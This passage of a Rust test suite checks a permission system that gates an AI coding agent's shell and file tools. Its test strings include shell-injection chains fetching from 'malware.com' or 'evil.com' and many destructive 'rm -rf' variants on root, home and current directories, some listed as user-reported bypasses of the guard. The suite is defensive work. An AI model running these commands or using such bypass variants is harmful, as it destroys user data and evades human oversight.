1055 default: ToolPermissionMode::Confirm,
1056 tools,
1057 };
1058 // Invalid patterns block the tool regardless of other settings
1059 assert!(matches!(
1060 ToolPermissionDecision::from_input(
1061 TerminalTool::NAME,
1062 &["echo hi".to_string()],
1063 &p,
1064 ShellKind::Posix
1065 ),
1066 ToolPermissionDecision::Deny(_)
1067 ));
1068 }
1069
1070 #[test]
1071 fn shell_injection_via_double_ampersand_not_allowed() {
1072 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1073 }
1074
1075 #[test]
1076 fn shell_injection_via_semicolon_not_allowed() {
1077 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1078 }
1079
1080 #[test]
1081 fn shell_injection_via_pipe_not_allowed() {
1082 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1083 }
1084
1085 #[test]
1086 fn shell_injection_via_backticks_not_allowed() {
1087 t("echo `wget malware.com`")
1088 .allow(&[pattern("echo")])
1089 .is_confirm();
1090 }
1091
1092 #[test]
1093 fn shell_injection_via_dollar_parens_not_allowed() {
1094 t("echo $(wget malware.com)")
1095 .allow(&[pattern("echo")])
1096 .is_confirm();
1097 }
1098
1099 #[test]
1100 fn shell_injection_via_or_operator_not_allowed() {
1101 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1102 }
1103
1104 #[test]
1105 fn shell_injection_via_background_operator_not_allowed() {
1106 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1107 }
1108
1109 #[test]
1110 fn shell_injection_via_newline_not_allowed() {
1111 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1112 }
1113
1114 #[test]
1115 fn shell_injection_via_process_substitution_input_not_allowed() {
1116 t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
1117 }
1118
1119 #[test]
1120 fn shell_injection_via_process_substitution_output_not_allowed() {
1121 t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
1122 }
1123
1124 #[test]
1125 fn shell_injection_without_spaces_not_allowed() {
1126 t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1127 t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1128 }
1129
1130 #[test]
1131 fn shell_injection_multiple_chained_operators_not_allowed() {
1132 t("ls && echo hello && wget malware.com")
1133 .allow(&["^ls"])
1134 .is_confirm();
1135 }
1136
1137 #[test]
1138 fn shell_injection_mixed_operators_not_allowed() {
1139 t("ls; echo hello && wget malware.com")
1140 .allow(&["^ls"])
1141 .is_confirm();
1142 }
1143
1144 #[test]
1145 fn shell_injection_pipe_stderr_not_allowed() {
1146 t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1147 }
1148
1149 #[test]
1150 fn allow_requires_all_commands_to_match() {
1151 t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1152 }
1153
1154 #[test]
1155 fn deny_triggers_on_any_matching_command() {
1156 t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1157 }
1158
1159 #[test]
1160 fn deny_catches_injected_command() {
1161 t("ls && rm -rf ./temp")
1162 .allow(&["^ls"])
1163 .deny(&["^rm"])
1164 .is_deny();
1165 }
1166
1167 #[test]
1168 fn confirm_triggers_on_any_matching_command() {
1169 t("ls && sudo reboot")
1170 .allow(&["^ls"])
1171 .confirm(&["^sudo"])
1172 .is_confirm();
1173 }
1174
1175 #[test]
1176 fn always_allow_button_works_end_to_end() {
1177 // This test verifies that the "Always Allow" button behavior works correctly:
1178 // 1. User runs a command like "cargo build"
1179 // 2. They click "Always Allow for `cargo` commands"
1180 // 3. The pattern extracted from that command should match future cargo commands
1181 let original_command = "cargo build --release";
1182 let extracted_pattern = pattern(original_command);
1183
1184 // The extracted pattern should allow the original command
1185 t(original_command).allow(&[extracted_pattern]).is_allow();
1186
1187 // It should also allow other commands with the same base command
1188 t("cargo test").allow(&[extracted_pattern]).is_allow();
1189 t("cargo fmt").allow(&[extracted_pattern]).is_allow();
1190
1191 // But not commands with different base commands
1192 t("npm install").allow(&[extracted_pattern]).is_confirm();
1193
1194 // And it should work with subcommand extraction (chained commands)
1195 t("cargo build && cargo test")
1196 .allow(&[extracted_pattern])
1197 .is_allow();
1198
1199 // But reject if any subcommand doesn't match
1200 t("cargo build && npm install")
1201 .allow(&[extracted_pattern])
1202 .is_confirm();
1203 }
1204
1205 #[test]
1206 fn nested_command_substitution_all_checked() {
1207 t("echo $(cat $(whoami).txt)")
1208 .allow(&["^echo", "^cat", "^whoami"])
1209 .is_allow();
1210 }
1211
1212 #[test]
1213 fn parse_failure_falls_back_to_confirm() {
1214 t("ls &&").allow(&["^ls$"]).is_confirm();
1215 }
1216
1217 #[test]
1218 fn mcp_tool_default_modes() {
1219 t("")
1220 .tool("mcp:fs:read")
1221 .mode(ToolPermissionMode::Allow)
1222 .is_allow();
1223 t("")
1224 .tool("mcp:bad:del")
1225 .mode(ToolPermissionMode::Deny)
1226 .is_deny();
1227 t("")
1228 .tool("mcp:gh:issue")
1229 .mode(ToolPermissionMode::Confirm)
1230 .is_confirm();
1231 t("")
1232 .tool("mcp:gh:issue")
1233 .mode(ToolPermissionMode::Confirm)
1234 .global_default(ToolPermissionMode::Allow)
1235 .is_confirm();
1236 }
1237
1238 #[test]
1239 fn mcp_doesnt_collide_with_builtin() {
1240 let mut tools = collections::HashMap::default();
1241 tools.insert(
1242 Arc::from(TerminalTool::NAME),
1243 ToolRules {
1244 default: Some(ToolPermissionMode::Deny),
1245 always_allow: vec![],
1246 always_deny: vec![],
1247 always_confirm: vec![],
1248 invalid_patterns: vec![],
1249 },
1250 );
1251 tools.insert(
1252 Arc::from("mcp:srv:terminal"),
1253 ToolRules {
1254 default: Some(ToolPermissionMode::Allow),
1255 always_allow: vec![],
1256 always_deny: vec![],
1257 always_confirm: vec![],
1258 invalid_patterns: vec![],
1259 },
1260 );
1261 let p = ToolPermissions {
1262 default: ToolPermissionMode::Confirm,
1263 tools,
1264 };
1265 assert!(matches!(
1266 ToolPermissionDecision::from_input(
1267 TerminalTool::NAME,
1268 &["x".to_string()],
1269 &p,
1270 ShellKind::Posix
1271 ),
1272 ToolPermissionDecision::Deny(_)
1273 ));
1274 assert_eq!(
1275 ToolPermissionDecision::from_input(
1276 "mcp:srv:terminal",
1277 &["x".to_string()],
1278 &p,
1279 ShellKind::Posix
1280 ),
1281 ToolPermissionDecision::Allow
1282 );
1283 }
1284
1285 #[test]
1286 fn case_insensitive_by_default() {
1287 t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1288 t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1289 }
1290
1291 #[test]
1292 fn case_sensitive_allow() {
1293 t("cargo test")
1294 .allow_case_sensitive(&[pattern("cargo")])
1295 .is_allow();
1296 t("CARGO TEST")
1297 .allow_case_sensitive(&[pattern("cargo")])
1298 .is_confirm();
1299 }
1300
1301 #[test]
1302 fn case_sensitive_deny() {
1303 t("rm -rf ./temp")
1304 .deny_case_sensitive(&[pattern("rm")])
1305 .is_deny();
1306 t("RM -RF ./temp")
1307 .deny_case_sensitive(&[pattern("rm")])
1308 .mode(ToolPermissionMode::Allow)
1309 .is_allow();
1310 }
1311
1312 #[test]
1313 fn nushell_allows_with_allow_pattern() {
1314 t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1315 }
1316
1317 #[test]
1318 fn nushell_allows_deny_patterns() {
1319 t("rm -rf ./temp")
1320 .deny(&["rm\\s+-rf"])
1321 .shell(ShellKind::Nushell)
1322 .is_deny();
1323 }
1324
1325 #[test]
1326 fn nushell_allows_confirm_patterns() {
1327 t("sudo reboot")
1328 .confirm(&["sudo"])
1329 .shell(ShellKind::Nushell)
1330 .is_confirm();
1331 }
1332
1333 #[test]
1334 fn nushell_no_allow_patterns_uses_default() {
1335 t("ls")
1336 .deny(&["rm"])
1337 .mode(ToolPermissionMode::Allow)
1338 .shell(ShellKind::Nushell)
1339 .is_allow();
1340 }
1341
1342 #[test]
1343 fn elvish_allows_with_allow_pattern() {
1344 t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1345 }
1346
1347 #[test]
1348 fn rc_allows_with_allow_pattern() {
1349 t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1350 }
1351
1352 #[test]
1353 fn multiple_invalid_patterns_pluralizes_message() {
1354 let mut tools = collections::HashMap::default();
1355 tools.insert(
1356 Arc::from(TerminalTool::NAME),
1357 ToolRules {
1358 default: Some(ToolPermissionMode::Allow),
1359 always_allow: vec![],
1360 always_deny: vec![],
1361 always_confirm: vec![],
1362 invalid_patterns: vec![
1363 InvalidRegexPattern {
1364 pattern: "[bad1".into(),
1365 rule_type: "always_deny".into(),
1366 error: "err1".into(),
1367 },
1368 InvalidRegexPattern {
1369 pattern: "[bad2".into(),
1370 rule_type: "always_allow".into(),
1371 error: "err2".into(),
1372 },
1373 ],
1374 },
1375 );
1376 let p = ToolPermissions {
1377 default: ToolPermissionMode::Confirm,
1378 tools,
1379 };
1380
1381 let result = ToolPermissionDecision::from_input(
1382 TerminalTool::NAME,
1383 &["echo hi".to_string()],
1384 &p,
1385 ShellKind::Posix,
1386 );
1387 match result {
1388 ToolPermissionDecision::Deny(msg) => {
1389 assert!(
1390 msg.contains("2 regex patterns"),
1391 "Expected '2 regex patterns' in message, got: {}",
1392 msg
1393 );
1394 }
1395 other => panic!("Expected Deny, got {:?}", other),
1396 }
1397 }
1398
1399 // always_confirm patterns on non-terminal tools
1400 #[test]
1401 fn always_confirm_works_for_file_tools() {
1402 t("sensitive.env")
1403 .tool(EditFileTool::NAME)
1404 .confirm(&["sensitive"])
1405 .is_confirm();
1406
1407 t("normal.txt")
1408 .tool(EditFileTool::NAME)
1409 .confirm(&["sensitive"])
1410 .mode(ToolPermissionMode::Allow)
1411 .is_allow();
1412
1413 t("/etc/config")
1414 .tool(DeletePathTool::NAME)
1415 .confirm(&["/etc/"])
1416 .is_confirm();
1417
1418 t("/home/user/safe.txt")
1419 .tool(DeletePathTool::NAME)
1420 .confirm(&["/etc/"])
1421 .mode(ToolPermissionMode::Allow)
1422 .is_allow();
1423
1424 t("https://secret.internal.com/api")
1425 .tool(FetchTool::NAME)
1426 .confirm(&["secret\\.internal"])
1427 .is_confirm();
1428
1429 t("https://public.example.com/api")
1430 .tool(FetchTool::NAME)
1431 .confirm(&["secret\\.internal"])
1432 .mode(ToolPermissionMode::Allow)
1433 .is_allow();
1434
1435 // confirm on non-terminal tools still beats allow
1436 t("sensitive.env")
1437 .tool(EditFileTool::NAME)
1438 .allow(&["sensitive"])
1439 .confirm(&["\\.env$"])
1440 .is_confirm();
1441
1442 // confirm on non-terminal tools is still beaten by deny
1443 t("sensitive.env")
1444 .tool(EditFileTool::NAME)
1445 .confirm(&["sensitive"])
1446 .deny(&["\\.env$"])
1447 .is_deny();
1448
1449 // global default allow does not bypass confirm on non-terminal tools
1450 t("/etc/passwd")
1451 .tool(EditFileTool::NAME)
1452 .confirm(&["/etc/"])
1453 .global_default(ToolPermissionMode::Allow)
1454 .is_confirm();
1455 }
1456
1457 // Hardcoded security rules tests - these rules CANNOT be bypassed
1458
1459 #[test]
1460 fn hardcoded_blocks_rm_rf_root() {
1461 t("rm -rf /").is_deny();
1462 t("rm -fr /").is_deny();
1463 t("rm -RF /").is_deny();
1464 t("rm -FR /").is_deny();
1465 t("rm -r -f /").is_deny();
1466 t("rm -f -r /").is_deny();
1467 t("RM -RF /").is_deny();
1468 t("rm /").is_deny();
1469 // Long flags
1470 t("rm --recursive --force /").is_deny();
1471 t("rm --force --recursive /").is_deny();
1472 // Extra short flags
1473 t("rm -rfv /").is_deny();
1474 t("rm -v -rf /").is_deny();
1475 // Glob wildcards
1476 t("rm -rf /*").is_deny();
1477 t("rm -rf /* ").is_deny();
1478 // End-of-options marker
1479 t("rm -rf -- /").is_deny();
1480 t("rm -- /").is_deny();
1481 // Prefixed with sudo or other commands
1482 t("sudo rm -rf /").is_deny();
1483 t("sudo rm -rf /*").is_deny();
1484 t("sudo rm -rf --no-preserve-root /").is_deny();
1485 }
1486
1487 #[test]
1488 fn hardcoded_blocks_rm_rf_home() {
1489 t("rm -rf ~").is_deny();
1490 t("rm -fr ~").is_deny();
1491 t("rm -rf ~/").is_deny();
1492 t("rm -rf $HOME").is_deny();
1493 t("rm -fr $HOME").is_deny();
1494 t("rm -rf $HOME/").is_deny();
1495 t("rm -rf ${HOME}").is_deny();
1496 t("rm -rf ${HOME}/").is_deny();
1497 t("rm -RF $HOME").is_deny();
1498 t("rm -FR ${HOME}/").is_deny();
1499 t("rm -R -F ${HOME}/").is_deny();
1500 t("RM -RF ~").is_deny();
1501 // Long flags
1502 t("rm --recursive --force ~").is_deny();
1503 t("rm --recursive --force ~/").is_deny();
1504 t("rm --recursive --force $HOME").is_deny();
1505 t("rm --force --recursive ${HOME}/").is_deny();
1506 // Extra short flags
1507 t("rm -rfv ~").is_deny();
1508 t("rm -v -rf ~/").is_deny();
1509 // Glob wildcards
1510 t("rm -rf ~/*").is_deny();
1511 t("rm -rf $HOME/*").is_deny();
1512 t("rm -rf ${HOME}/*").is_deny();
1513 // End-of-options marker
1514 t("rm -rf -- ~").is_deny();
1515 t("rm -rf -- ~/").is_deny();
1516 t("rm -rf -- $HOME").is_deny();
1517 }
1518
1519 #[test]
1520 fn hardcoded_blocks_rm_rf_home_with_traversal() {
1521 // Path traversal after $HOME / ${HOME} should still be blocked
1522 t("rm -rf $HOME/./").is_deny();
1523 t("rm -rf $HOME/foo/..").is_deny();
1524 t("rm -rf ${HOME}/.").is_deny();
1525 t("rm -rf ${HOME}/./").is_deny();
1526 t("rm -rf $HOME/a/b/../..").is_deny();
1527 t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1528 // Subdirectories should NOT be blocked
1529 t("rm -rf $HOME/subdir")
1530 .mode(ToolPermissionMode::Allow)
1531 .is_allow();
1532 t("rm -rf ${HOME}/Documents")
1533 .mode(ToolPermissionMode::Allow)
1534 .is_allow();
1535 }
1536
1537 #[test]
1538 fn hardcoded_blocks_rm_rf_dot() {
1539 t("rm -rf .").is_deny();
1540 t("rm -fr .").is_deny();
1541 t("rm -rf ./").is_deny();
1542 t("rm -rf ..").is_deny();
1543 t("rm -fr ..").is_deny();
1544 t("rm -rf ../").is_deny();
1545 t("rm -RF .").is_deny();
1546 t("rm -FR ../").is_deny();
1547 t("rm -R -F ../").is_deny();
1548 t("RM -RF .").is_deny();
1549 t("RM -RF ..").is_deny();
1550 // Long flags
1551 t("rm --recursive --force .").is_deny();
1552 t("rm --force --recursive ../").is_deny();
1553 // Extra short flags
1554 t("rm -rfv .").is_deny();
1555 t("rm -v -rf ../").is_deny();
1556 // Glob wildcards
1557 t("rm -rf ./*").is_deny();
1558 t("rm -rf ../*").is_deny();
1559 // End-of-options marker
1560 t("rm -rf -- .").is_deny();
1561 t("rm -rf -- ../").is_deny();
1562 }
1563
1564 #[test]
1565 fn hardcoded_cannot_be_bypassed_by_global() {
1566 // Even with global default Allow, hardcoded rules block
1567 t("rm -rf /")
1568 .global_default(ToolPermissionMode::Allow)
1569 .is_deny();
1570 t("rm -rf ~")
1571 .global_default(ToolPermissionMode::Allow)
1572 .is_deny();
1573 t("rm -rf $HOME")
1574 .global_default(ToolPermissionMode::Allow)
1575 .is_deny();
1576 t("rm -rf .")
1577 .global_default(ToolPermissionMode::Allow)
1578 .is_deny();
1579 t("rm -rf ..")
1580 .global_default(ToolPermissionMode::Allow)
1581 .is_deny();
1582 }
1583
1584 #[test]
1585 fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1586 // Even with an allow pattern that matches, hardcoded rules block
1587 t("rm -rf /").allow(&[".*"]).is_deny();
1588 t("rm -rf $HOME").allow(&[".*"]).is_deny();
1589 t("rm -rf .").allow(&[".*"]).is_deny();
1590 t("rm -rf ..").allow(&[".*"]).is_deny();
1591 }
1592
1593 #[test]
1594 fn hardcoded_allows_safe_rm() {
1595 // rm -rf on a specific path should NOT be blocked
1596 t("rm -rf ./build")
1597 .mode(ToolPermissionMode::Allow)
1598 .is_allow();
1599 t("rm -rf /tmp/test")
1600 .mode(ToolPermissionMode::Allow)
1601 .is_allow();
1602 t("rm -rf ~/Documents")
1603 .mode(ToolPermissionMode::Allow)
1604 .is_allow();
1605 t("rm -rf $HOME/Documents")
1606 .mode(ToolPermissionMode::Allow)
1607 .is_allow();
1608 t("rm -rf ../some_dir")
1609 .mode(ToolPermissionMode::Allow)
1610 .is_allow();
1611 t("rm -rf .hidden_dir")
1612 .mode(ToolPermissionMode::Allow)
1613 .is_allow();
1614 t("rm -rfv ./build")
1615 .mode(ToolPermissionMode::Allow)
1616 .is_allow();
1617 t("rm --recursive --force ./build")
1618 .mode(ToolPermissionMode::Allow)
1619 .is_allow();
1620 }
1621
1622 #[test]
1623 fn hardcoded_checks_chained_commands() {
1624 // Hardcoded rules should catch dangerous commands in chains
1625 t("ls && rm -rf /").is_deny();
1626 t("echo hello; rm -rf ~").is_deny();
1627 t("cargo build && rm -rf /")
1628 .global_default(ToolPermissionMode::Allow)
1629 .is_deny();
1630 t("echo hello; rm -rf $HOME").is_deny();
1631 t("echo hello; rm -rf .").is_deny();
1632 t("echo hello; rm -rf ..").is_deny();
1633 }
1634
1635 #[test]
1636 fn hardcoded_blocks_rm_with_extra_flags() {
1637 // Extra flags like -v, -i should not bypass the security rules
1638 t("rm -rfv /").is_deny();
1639 t("rm -v -rf /").is_deny();
1640 t("rm -rfi /").is_deny();
1641 t("rm -rfv ~").is_deny();
1642 t("rm -rfv ~/").is_deny();
1643 t("rm -rfv $HOME").is_deny();
1644 t("rm -rfv .").is_deny();
1645 t("rm -rfv ./").is_deny();
1646 t("rm -rfv ..").is_deny();
1647 t("rm -rfv ../").is_deny();
1648 }
1649
1650 #[test]
1651 fn hardcoded_blocks_rm_with_long_flags() {
1652 t("rm --recursive --force /").is_deny();
1653 t("rm --force --recursive /").is_deny();
1654 t("rm --recursive --force ~").is_deny();
1655 t("rm --recursive --force ~/").is_deny();
1656 t("rm --recursive --force $HOME").is_deny();
1657 t("rm --recursive --force .").is_deny();
1658 t("rm --recursive --force ..").is_deny();
1659 }
1660
1661 #[test]
1662 fn hardcoded_blocks_rm_with_glob_star() {
1663 // rm -rf /* is equally catastrophic to rm -rf /
1664 t("rm -rf /*").is_deny();
1665 t("rm -rf ~/*").is_deny();
1666 t("rm -rf $HOME/*").is_deny();
1667 t("rm -rf ${HOME}/*").is_deny();
1668 t("rm -rf ./*").is_deny();
1669 t("rm -rf ../*").is_deny();
1670 }
1671
1672 #[test]
1673 fn hardcoded_extra_flags_allow_safe_rm() {
1674 // Extra flags on specific paths should NOT be blocked
1675 t("rm -rfv ~/somedir")
1676 .mode(ToolPermissionMode::Allow)
1677 .is_allow();
1678 t("rm -rfv /tmp/test")
1679 .mode(ToolPermissionMode::Allow)
1680 .is_allow();
1681 t("rm --recursive --force ./build")
1682 .mode(ToolPermissionMode::Allow)
1683 .is_allow();
1684 }
1685
1686 #[test]
1687 fn hardcoded_does_not_block_words_containing_rm() {
1688 // Words like "storm", "inform" contain "rm" but should not be blocked
1689 t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1690 t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1691 t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1692 }
1693
1694 #[test]
1695 fn hardcoded_blocks_rm_with_trailing_flags() {
1696 // GNU rm accepts flags after operands by default
1697 t("rm / -rf").is_deny();
1698 t("rm / -fr").is_deny();
1699 t("rm / -RF").is_deny();
1700 t("rm / -r -f").is_deny();
1701 t("rm / --recursive --force").is_deny();
1702 t("rm / -rfv").is_deny();
1703 t("rm /* -rf").is_deny();
1704 // Mixed: some flags before path, some after
1705 t("rm -r / -f").is_deny();
1706 t("rm -f / -r").is_deny();
1707 // Home
1708 t("rm ~ -rf").is_deny();
1709 t("rm ~/ -rf").is_deny();
1710 t("rm ~ -r -f").is_deny();
1711 t("rm $HOME -rf").is_deny();
1712 t("rm ${HOME} -rf").is_deny();
1713 // Dot / dotdot
1714 t("rm . -rf").is_deny();
1715 t("rm ./ -rf").is_deny();
1716 t("rm . -r -f").is_deny();
1717 t("rm .. -rf").is_deny();
1718 t("rm ../ -rf").is_deny();
1719 t("rm .. -r -f").is_deny();
1720 // Trailing flags in chained commands
1721 t("ls && rm / -rf").is_deny();
1722 t("echo hello; rm ~ -rf").is_deny();
1723 // Safe paths with trailing flags should NOT be blocked
1724 t("rm ./build -rf")
1725 .mode(ToolPermissionMode::Allow)
1726 .is_allow();
1727 t("rm /tmp/test -rf")
1728 .mode(ToolPermissionMode::Allow)
1729 .is_allow();
1730 t("rm ~/Documents -rf")
1731 .mode(ToolPermissionMode::Allow)
1732 .is_allow();
1733 }
1734
1735 #[test]
1736 fn hardcoded_blocks_rm_with_flag_equals_value() {
1737 // --flag=value syntax should not bypass the rules
1738 t("rm --no-preserve-root=yes -rf /").is_deny();
1739 t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1740 t("rm -rf --no-preserve-root=yes /").is_deny();
1741 t("rm --interactive=never -rf /").is_deny();
1742 t("rm --no-preserve-root=yes -rf ~").is_deny();
1743 t("rm --no-preserve-root=yes -rf .").is_deny();
1744 t("rm --no-preserve-root=yes -rf ..").is_deny();
1745 t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1746 // --flag (without =value) should also not bypass the rules
1747 t("rm -rf --no-preserve-root /").is_deny();
1748 t("rm --no-preserve-root -rf /").is_deny();
1749 t("rm --no-preserve-root --recursive --force /").is_deny();
1750 t("rm -rf --no-preserve-root ~").is_deny();
1751 t("rm -rf --no-preserve-root .").is_deny();
1752 t("rm -rf --no-preserve-root ..").is_deny();
1753 t("rm -rf --no-preserve-root $HOME").is_deny();
1754 // Trailing --flag=value after path
1755 t("rm / --no-preserve-root=yes -rf").is_deny();
1756 t("rm ~ -rf --no-preserve-root=yes").is_deny();
1757 // Trailing --flag (without =value) after path
1758 t("rm / -rf --no-preserve-root").is_deny();
1759 t("rm ~ -rf --no-preserve-root").is_deny();
1760 // Safe paths with --flag=value should NOT be blocked
1761 t("rm --no-preserve-root=yes -rf ./build")
1762 .mode(ToolPermissionMode::Allow)
1763 .is_allow();
1764 t("rm --interactive=never -rf /tmp/test")
1765 .mode(ToolPermissionMode::Allow)
1766 .is_allow();
1767 // Safe paths with --flag (without =value) should NOT be blocked
1768 t("rm --no-preserve-root -rf ./build")
1769 .mode(ToolPermissionMode::Allow)
1770 .is_allow();
1771 }
1772
1773 #[test]
1774 fn hardcoded_blocks_rm_with_path_traversal() {
1775 // Traversal to root via ..
1776 t("rm -rf /etc/../").is_deny();
1777 t("rm -rf /tmp/../../").is_deny();
1778 t("rm -rf /tmp/../..").is_deny();
1779 t("rm -rf /var/log/../../").is_deny();
1780 // Root via /./
1781 t("rm -rf /./").is_deny();
1782 t("rm -rf /.").is_deny();
1783 // Double slash (equivalent to /)
1784 t("rm -rf //").is_deny();
1785 // Home traversal via ~/./
1786 t("rm -rf ~/./").is_deny();
1787 t("rm -rf ~/.").is_deny();
1788 // Dot traversal via indirect paths
1789 t("rm -rf ./foo/..").is_deny();
1790 t("rm -rf ../foo/..").is_deny();
1791 // Traversal in chained commands
1792 t("ls && rm -rf /tmp/../../").is_deny();
1793 t("echo hello; rm -rf /./").is_deny();
1794 // Traversal cannot be bypassed by global or allow patterns
1795 t("rm -rf /tmp/../../")
1796 .global_default(ToolPermissionMode::Allow)
1797 .is_deny();
1798 t("rm -rf /./").allow(&[".*"]).is_deny();
1799 // Safe paths with traversal should still be allowed
1800 t("rm -rf /tmp/../tmp/foo")
1801 .mode(ToolPermissionMode::Allow)
1802 .is_allow();
1803 t("rm -rf ~/Documents/./subdir")
1804 .mode(ToolPermissionMode::Allow)
1805 .is_allow();
1806 }
1807
1808 #[test]
1809 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
1810 t("rm -rf /tmp /").is_deny();
1811 t("rm -rf /tmp/foo /").is_deny();
1812 t("rm -rf /var/log ~").is_deny();
1813 t("rm -rf /safe $HOME").is_deny();
1814 }
1815
1816 #[test]
1817 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
1818 t("rm -rf / /tmp").is_deny();
1819 t("rm -rf ~ /var/log").is_deny();
1820 t("rm -rf . /tmp/foo").is_deny();
1821 t("rm -rf .. /safe").is_deny();
1822 }
1823
1824 #[test]
1825 fn hardcoded_allows_rm_multi_path_all_safe() {
1826 t("rm -rf /tmp /home/user")
1827 .mode(ToolPermissionMode::Allow)
1828 .is_allow();
1829 t("rm -rf ./build ./dist")
1830 .mode(ToolPermissionMode::Allow)
1831 .is_allow();
1832 t("rm -rf /var/log/app /tmp/cache")
1833 .mode(ToolPermissionMode::Allow)
1834 .is_allow();
1835 }
1836
1837 #[test]
1838 fn hardcoded_blocks_rm_multi_path_with_traversal() {
1839 t("rm -rf /safe /tmp/../../").is_deny();
1840 t("rm -rf /tmp/../../ /safe").is_deny();
1841 t("rm -rf /safe /var/log/../../").is_deny();
1842 }
1843
1844 #[test]
1845 fn hardcoded_blocks_user_reported_bypass_variants() {
1846 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
1847 t("rm -rf /etc/../").is_deny();
1848 t("rm -rf /etc/..").is_deny();
1849 // User report: --no-preserve-root (without =value) should not bypass
1850 t("rm -rf --no-preserve-root /").is_deny();
1851 t("rm --no-preserve-root -rf /").is_deny();
1852 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
1853 t("rm -rf /*").is_deny();
1854 // Chained with sudo
1855 t("sudo rm -rf /").is_deny();
1856 t("sudo rm -rf --no-preserve-root /").is_deny();
1857 // Traversal cannot be bypassed even with global allow or allow patterns
1858 t("rm -rf /etc/../")
1859 .global_default(ToolPermissionMode::Allow)
1860 .is_deny();
1861 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
1862 t("rm -rf --no-preserve-root /")
1863 .global_default(ToolPermissionMode::Allow)
1864 .is_deny();
1865 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
1866 }
1867
1868 #[test]
1869 fn normalize_path_relative_no_change() {
1870 assert_eq!(normalize_path("foo/bar"), "foo/bar");
1871 }
1872
1873 #[test]
1874 fn normalize_path_relative_with_curdir() {
1875 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
1876 }
1877
1878 #[test]
1879 fn normalize_path_relative_with_parent() {
1880 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
1881 }
1882
1883 #[test]
1884 fn normalize_path_absolute_preserved() {
1885 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
1886 }
1887
1888 #[test]
1889 fn normalize_path_absolute_with_traversal() {
1890 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
1891 }
1892
1893 #[test]
1894 fn normalize_path_root() {
1895 assert_eq!(normalize_path("/"), "/");
1896 }
1897
1898 #[test]
1899 fn normalize_path_parent_beyond_root_clamped() {
1900 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
1901 }
1902
1903 #[test]
1904 fn normalize_path_curdir_only() {
1905 assert_eq!(normalize_path("."), "");
1906 }
1907
1908 #[test]
1909 fn normalize_path_empty() {
1910 assert_eq!(normalize_path(""), "");
1911 }
1912
1913 #[test]
1914 fn normalize_path_relative_traversal_above_start() {
1915 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
1916 }
1917
1918 #[test]
1919 fn normalize_path_relative_traversal_with_curdir() {
1920 assert_eq!(normalize_path("../../."), "../..");
1921 }
1922
1923 #[test]
1924 fn normalize_path_relative_partial_traversal_above_start() {
1925 assert_eq!(normalize_path("foo/../../bar"), "../bar");
1926 }
1927
1928 #[test]
1929 fn most_restrictive_deny_vs_allow() {
1930 assert!(matches!(
1931 most_restrictive(
1932 ToolPermissionDecision::Deny("x".into()),
1933 ToolPermissionDecision::Allow
1934 ),
1935 ToolPermissionDecision::Deny(_)
1936 ));
1937 }
1938
1939 #[test]
1940 fn most_restrictive_allow_vs_deny() {
1941 assert!(matches!(
1942 most_restrictive(
1943 ToolPermissionDecision::Allow,
1944 ToolPermissionDecision::Deny("x".into())
1945 ),
1946 ToolPermissionDecision::Deny(_)
1947 ));
1948 }
1949
1950 #[test]
1951 fn most_restrictive_deny_vs_confirm() {
1952 assert!(matches!(
1953 most_restrictive(
1954 ToolPermissionDecision::Deny("x".into()),
1955 ToolPermissionDecision::Confirm
1956 ),
1957 ToolPermissionDecision::Deny(_)
1958 ));
1959 }
1960
1961 #[test]
1962 fn most_restrictive_confirm_vs_deny() {
1963 assert!(matches!(
1964 most_restrictive(
1965 ToolPermissionDecision::Confirm,
1966 ToolPermissionDecision::Deny("x".into())
1967 ),
1968 ToolPermissionDecision::Deny(_)
1969 ));
1970 }
1971
1972 #[test]
1973 fn most_restrictive_deny_vs_deny() {
1974 assert!(matches!(
1975 most_restrictive(
1976 ToolPermissionDecision::Deny("a".into()),
1977 ToolPermissionDecision::Deny("b".into())
1978 ),
1979 ToolPermissionDecision::Deny(_)
1980 ));
1981 }
1982
1983 #[test]
1984 fn most_restrictive_confirm_vs_allow() {
1985 assert_eq!(
1986 most_restrictive(
1987 ToolPermissionDecision::Confirm,
1988 ToolPermissionDecision::Allow
1989 ),
1990 ToolPermissionDecision::Confirm
1991 );
1992 }
1993
1994 #[test]
1995 fn most_restrictive_allow_vs_confirm() {
1996 assert_eq!(
1997 most_restrictive(
1998 ToolPermissionDecision::Allow,
1999 ToolPermissionDecision::Confirm
2000 ),
2001 ToolPermissionDecision::Confirm
2002 );
2003 }
2004
2005 #[test]
2006 fn most_restrictive_allow_vs_allow() {
2007 assert_eq!(
